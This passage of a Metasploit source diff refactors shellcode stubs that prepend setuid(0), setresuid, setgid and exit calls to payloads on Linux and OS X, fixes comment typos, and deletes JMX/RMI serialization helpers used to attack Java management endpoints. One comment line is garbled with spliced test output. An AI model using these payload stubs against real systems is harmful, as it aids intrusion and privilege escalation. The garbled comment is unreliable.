"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x17" +# or rax, 23 (setuid=23)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x4e" +# or rax, 78 (setgid=312>>2=78)
|
||||
"\x48\xc1\xe0\x02" +# shl rax, 2 (78<<2=312)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x48\x31\xd2" +# xor rdx, rdx 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x7f" +# or rax, 127 (setuid=127)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x5a" +# or rax, 90 (setgid=181>>1=90)
|
||||
"\x48\xd1\xe0" +# shl rax, 1
|
||||
"\x48\x83\xc8\x01" +# or rax, 1 (setgid=181&1=1)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x48\x31\xc0" +# xor rax, rax
|
||||
"\x48\x83\xc8\x01" +# or rax, 1 (exit=1)
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -56,7 +56,7 @@ module Msf::Payload::Dalvik
|
||||
#
|
||||
# If you plan to publish your application(s) on Google Play, note
|
||||
# that a validity period ending after 22 October 2033 is a
|
||||
# requirement. You can not upload an application if it is signed
|
||||
# requirement. You cannot upload an application if it is signed
|
||||
# with a key whose validity expires before that date.
|
||||
# """
|
||||
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
|
||||
|
@ -87,10 +87,6 @@ module Msf::Payload::Linux
|
||||
ret
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def apply_prepends(buf)
|
||||
pre = ''
|
||||
app = ''
|
||||
|
@ -23,49 +23,49 @@ module Msf::Payload::Osx
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresuid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetreuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setreuid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetuid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setuid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetresgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setresgid(0, 0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetregid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setregid(0, 0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('PrependSetgid',
|
||||
[
|
||||
false,
|
||||
"Prepend a stub that executes the setgid(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
Msf::OptBool.new('AppendExit',
|
||||
[
|
||||
false,
|
||||
"Append a stub that executes the exit(0) system call",
|
||||
"false"
|
||||
false
|
||||
]
|
||||
),
|
||||
], Msf::Payload::Osx)
|
||||
@ -73,95 +73,155 @@ module Msf::Payload::Osx
|
||||
ret
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Overload the generate() call to prefix our stubs
|
||||
#
|
||||
def generate(*args)
|
||||
# Call the real generator to get the payload
|
||||
buf = super(*args)
|
||||
def apply_prepends(buf)
|
||||
test_arch = [ *(self.arch) ]
|
||||
pre = ''
|
||||
app = ''
|
||||
|
||||
test_arch = [ *(self.arch) ]
|
||||
|
||||
# Handle all x86 code here
|
||||
if (test_arch.include?(ARCH_X86))
|
||||
|
||||
# Prepend
|
||||
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
# Append
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
handle_x86_osx_opts(pre, app)
|
||||
elsif (test_arch.include?(ARCH_X86_64))
|
||||
handle_x64_osx_opts(pre, app)
|
||||
end
|
||||
|
||||
return (pre + buf + app)
|
||||
pre + buf + app
|
||||
end
|
||||
|
||||
def handle_x86_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7e" +# movb $0x7e,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x17" +# movb $0x17,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x7f" +# movb $0x7f,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\xb5" +# movb $0xb5,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x31\xc0" +# xorl %eax,%eax #
|
||||
"\x50" +# pushl %eax #
|
||||
"\xb0\x01" +# movb $0x01,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
end
|
||||
end
|
||||
|
||||
def handle_x64_osx_opts(pre, app)
|
||||
if (datastore['PrependSetresuid'])
|
||||
# setresuid(0, 0, 0)
|
||||
raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetreuid'])
|
||||
# setreuid(0, 0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
"\x49\xc1\xe0\x18" +# shl r8, 24
|
||||
"\x49\x83\xc8\x7e" +# or r8, 126 (setreuid=126)
|
||||
"\x4c\x89\xc0" +# mov rax, r8
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetuid'])
|
||||
# setuid(0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
"\x49\xc1\xe0\x18" +# shl r8, 24
|
||||
"\x49\x83\xc8\x17" +# or r8, 23 (setuid=23)
|
||||
"\x4c\x89\xc0" +# mov rax, r8
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetresgid'])
|
||||
# setresgid(0, 0, 0)
|
||||
raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
|
||||
end
|
||||
|
||||
if (datastore['PrependSetregid'])
|
||||
# setregid(0, 0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
"\x49\xc1\xe0\x18" +# shl r8, 24
|
||||
"\x49\x83\xc8\x7f" +# or r8, 127 (setregid=127)
|
||||
"\x4c\x89\xc0" +# mov rax, r8
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x48\x31\xf6" +# xor rsi, rsi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['PrependSetgid'])
|
||||
# setgid(0)
|
||||
pre << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
"\x49\xc1\xe0\x17" +# shl r8, 23
|
||||
"\x49\x83\xc8\x5a" +# or r8, 90 (setgid=181>>1=90)
|
||||
"\x49\xd1\xe0" +# shl r8, 1
|
||||
"\x49\x83\xc8\x01" +# or r8, 1 (setgid=181&1=1)
|
||||
"\x4c\x89\xc0" +# mov rax, r8
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
|
||||
if (datastore['AppendExit'])
|
||||
# exit(0)
|
||||
app << "\x41\xb0\x02" +# mov r8b, 0x2 (Set syscall_class to UNIX=2<<24)
|
||||
"\x49\xc1\xe0\x18" +# shl r8, 24
|
||||
"\x49\x83\xc8\x01" +# or r8, 1 (exit=1)
|
||||
"\x4c\x89\xc0" +# mov rax, r8
|
||||
"\x48\x31\xff" +# xor rdi, rdi 0
|
||||
"\x0f\x05" # syscall
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -201,7 +201,7 @@ class Msf::Payload::UUID
|
||||
end
|
||||
|
||||
# Map a platform abbreviation to the real name
|
||||
name = Msf::Platform.find_platform(platform)
|
||||
name = platform ? Msf::Platform.find_platform(platform) : nil
|
||||
if name && name.respond_to?(:realname)
|
||||
name = name.realname.downcase
|
||||
end
|
||||
|
@ -22,7 +22,7 @@ module Msf::Payload::UUIDOptions
|
||||
|
||||
#
|
||||
# Generates a URI with a given checksum and optionally with an embedded UUID if
|
||||
# the desired length can accomodate it.
|
||||
# the desired length can accommodate it.
|
||||
#
|
||||
# @param mode [Symbol] The type of checksum to generate (:connect, :init_native, :init_python, :init_java)
|
||||
# @param len [Fixnum] The length of the URI not including the leading slash, optionally nil for random
|
||||
|
@ -76,7 +76,7 @@ module Payload::Windows::StagelessMeterpreter
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
|
@ -23,7 +23,7 @@ module Msf
|
||||
class PayloadGenerator
|
||||
|
||||
# @!attribute add_code
|
||||
# @return [String] The path to a shellcode file to execute in a seperate thread
|
||||
# @return [String] The path to a shellcode file to execute in a separate thread
|
||||
attr_accessor :add_code
|
||||
# @!attribute arch
|
||||
# @return [String] The CPU architecture to build the payload for
|
||||
@ -117,10 +117,10 @@ module Msf
|
||||
end
|
||||
|
||||
# This method takes the shellcode generated so far and adds shellcode from
|
||||
# a supplied file. The added shellcode is executed in a seperate thread
|
||||
# a supplied file. The added shellcode is executed in a separate thread
|
||||
# from the main payload.
|
||||
# @param shellcode [String] The shellcode to add to
|
||||
# @return [String] the combined shellcode which executes the added code in a seperate thread
|
||||
# @return [String] the combined shellcode which executes the added code in a separate thread
|
||||
def add_shellcode(shellcode)
|
||||
if add_code.present? and platform_list.platforms.include? Msf::Module::Platform::Windows and arch == "x86"
|
||||
cli_print "Adding shellcode from #{add_code} to the payload"
|
||||
@ -314,7 +314,7 @@ module Msf
|
||||
def get_encoders
|
||||
encoders = []
|
||||
if encoder.present?
|
||||
# Allow comma seperated list of encoders so users can choose several
|
||||
# Allow comma separated list of encoders so users can choose several
|
||||
encoder.split(',').each do |chosen_encoder|
|
||||
e = framework.encoders.create(chosen_encoder)
|
||||
e.datastore.import_options_from_hash(datastore)
|
||||
|
@ -10,7 +10,7 @@ module Msf
|
||||
# to augment the feature set of the framework by being able to load and unload
|
||||
# them during the course of a framework's lifetime. For instance, a plugin
|
||||
# could be loaded to alter the default behavior of new sessions, such as by
|
||||
# scripting meterpreter sessions that are created. The possiblities are
|
||||
# scripting meterpreter sessions that are created. The possibilities are
|
||||
# endless!
|
||||
#
|
||||
# All plugins must exist under the Msf::Plugin namespace. Plugins are
|
||||
|
@ -53,7 +53,7 @@ class Msf::Post < Msf::Module
|
||||
end
|
||||
|
||||
# This method returns the ID of the {Mdm::Session} that the post module
|
||||
# is currently running agaist.
|
||||
# is currently running against.
|
||||
#
|
||||
# @return [NilClass] if there is no database record for the session
|
||||
# @return [Fixnum] if there is a database record to get the id for
|
||||
|
@ -84,7 +84,7 @@ module Msf::Post::Common
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
#
|
||||
# The meterpreter API requires arguments to come seperately from the
|
||||
# The meterpreter API requires arguments to come separately from the
|
||||
# executable path. This has no effect on Windows where the two are just
|
||||
# blithely concatenated and passed to CreateProcess or its brethren. On
|
||||
# POSIX, this allows the server to execve just the executable when a
|
||||
|
@ -212,7 +212,7 @@ module Accounts
|
||||
|
||||
case error
|
||||
when client.railgun.const('ERROR_INVALID_PARAMETER')
|
||||
# Unless the railgun call is broken, this means revesion is wrong
|
||||
# Unless the railgun call is broken, this means revision is wrong
|
||||
return { :type => :invalid }
|
||||
when client.railgun.const('ERROR_NONE_MAPPED')
|
||||
# There were no accounts associated with this SID
|
||||
|
@ -86,7 +86,7 @@ module CliParse
|
||||
# NOTE: this will NOT pickup the (NOT_STOPPABLE, NOT_PAUSABLE), see next, but it
|
||||
# will pickup when there's multiple dependencies
|
||||
arr = line.scan(/\w+/)
|
||||
val = arr.join(',') # join with commas, tho there is probably only one item in arr
|
||||
val = arr.join(',') # join with commas, though there is probably only one item in arr
|
||||
hashish[lastkey] << ",#{val}" # append to old val with preceding ','
|
||||
# if that's confusing, maybe: hashish[lastkey] = "#{hashish[lastkey]},#{val}"
|
||||
tip = false
|
||||
|
@ -155,7 +155,7 @@ module Msf
|
||||
return false unless username
|
||||
|
||||
session.core.use('incognito') unless session.incognito
|
||||
vprint_status("Attemping to impersonate user: #{username}")
|
||||
vprint_status("Attempting to impersonate user: #{username}")
|
||||
res = session.incognito.incognito_impersonate_token(username)
|
||||
|
||||
if res =~ /Successfully/i
|
||||
|
@ -346,7 +346,7 @@ protected
|
||||
#print_error("The file you specified is currently locked by another process: #{file}")
|
||||
return false
|
||||
when /stdapi_registry_load_key: Operation failed:/
|
||||
#print_error("An unknown error has occured: #{loadres.to_s}")
|
||||
#print_error("An unknown error has occurred: #{loadres.to_s}")
|
||||
return false
|
||||
else
|
||||
#print_debug("Registry Hive Loaded Successfully: #{key}")
|
||||
@ -374,7 +374,7 @@ protected
|
||||
#print_error("The KEY you provided does not appear to match a loaded Registry Hive: #{key}")
|
||||
return false
|
||||
when /stdapi_registry_unload_key: Operation failed:/
|
||||
#print_error("An unknown error has occured: #{unloadres.to_s}")
|
||||
#print_error("An unknown error has occurred: #{unloadres.to_s}")
|
||||
return false
|
||||
else
|
||||
#print_debug("Registry Hive Unloaded Successfully: #{key}")
|
||||
|
@ -126,7 +126,7 @@ module Msf::Post::Windows::Runas
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] Thn executableived :CloseHandle
|
||||
# @param application_name [String] The executable to run :CloseHandle
|
||||
# with unexpected arguments
|
||||
# expected: ("testPhToken")
|
||||
# got: (n be run, can be
|
||||
|
@ -128,7 +128,7 @@ module Msf::PostMixin
|
||||
# Checks the session's type against this module's
|
||||
# <tt>module_info["SessionTypes"]</tt> as well as examining platform
|
||||
# compatibility. +sess_or_sid+ can be a Session object, Fixnum, or
|
||||
# String. In the latter cases it sould be a key in
|
||||
# String. In the latter cases it should be a key in
|
||||
# +framework.sessions+.
|
||||
#
|
||||
# @note Because it errs on the side of compatibility, a true return
|
||||
|
@ -21,7 +21,7 @@ private
|
||||
def fix_cred_options(opts)
|
||||
new_opts = fix_options(opts)
|
||||
|
||||
# Convert some of are data back to symbols
|
||||
# Convert some of the raw data back to symbols
|
||||
if new_opts[:origin_type]
|
||||
new_opts[:origin_type] = new_opts[:origin_type].to_sym
|
||||
end
|
||||
|
@ -84,7 +84,7 @@ module Session
|
||||
#self.routes = []
|
||||
end
|
||||
|
||||
# Direct descendents
|
||||
# Direct descendants
|
||||
require 'msf/core/session/interactive'
|
||||
require 'msf/core/session/basic'
|
||||
require 'msf/core/session/comm'
|
||||
|
@ -16,7 +16,7 @@ module Comm
|
||||
|
||||
#
|
||||
# Session-based comm classes implement an instance specific method for
|
||||
# creating network-based connections rather than the typicall class
|
||||
# creating network-based connections rather than the typical class
|
||||
# specific methods.
|
||||
#
|
||||
def create(param)
|
||||
|
@ -1,39 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
require 'msf/java/jmx/util'
|
||||
require 'msf/java/jmx/discovery'
|
||||
require 'msf/java/jmx/handshake'
|
||||
require 'msf/java/jmx/mbean'
|
||||
|
||||
include Msf::Java::Jmx::Util
|
||||
include Msf::Java::Jmx::Discovery
|
||||
include Msf::Java::Jmx::Handshake
|
||||
include Msf::Java::Jmx::Mbean
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def jmx_role
|
||||
datastore['JMX_ROLE']
|
||||
end
|
||||
|
||||
def jmx_password
|
||||
datastore['JMX_PASSWORD']
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
@ -1,29 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle JMX end points discovery
|
||||
module Discovery
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to discover
|
||||
# an JMX RMI endpoint
|
||||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def discovery_stream
|
||||
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(
|
||||
nil,
|
||||
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,56 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle a JMX handshake
|
||||
module Handshake
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to make
|
||||
# a JMX handshake with an endpoint
|
||||
#
|
||||
# @param id [String] The endpoint UnicastRef ObjId
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def handshake_stream(obj_id)
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
|
||||
if jmx_role
|
||||
username = jmx_role
|
||||
password = jmx_password || ''
|
||||
|
||||
stream.contents << auth_array_stream(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an authenticated handshake
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
def auth_array_stream(username, password)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
auth_array
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,13 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
require 'msf/java/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Java::Jmx::Mbean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,155 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
# This module provides methods which help to handle with MBean related calls.
|
||||
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
|
||||
# class
|
||||
module ServerConnection
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the createMBean method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def create_mbean_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
|
||||
# Java getObjectInstance method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def get_object_instance_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the Java invoke method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :object the object whose method we want to call
|
||||
# @option opts [String] :method the method name to invoke
|
||||
# @option opts [String] :args the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
arguments = opts[:args] || {}
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: 0xacf317f8060854e0, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: invoke_arguments_stream(arguments).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
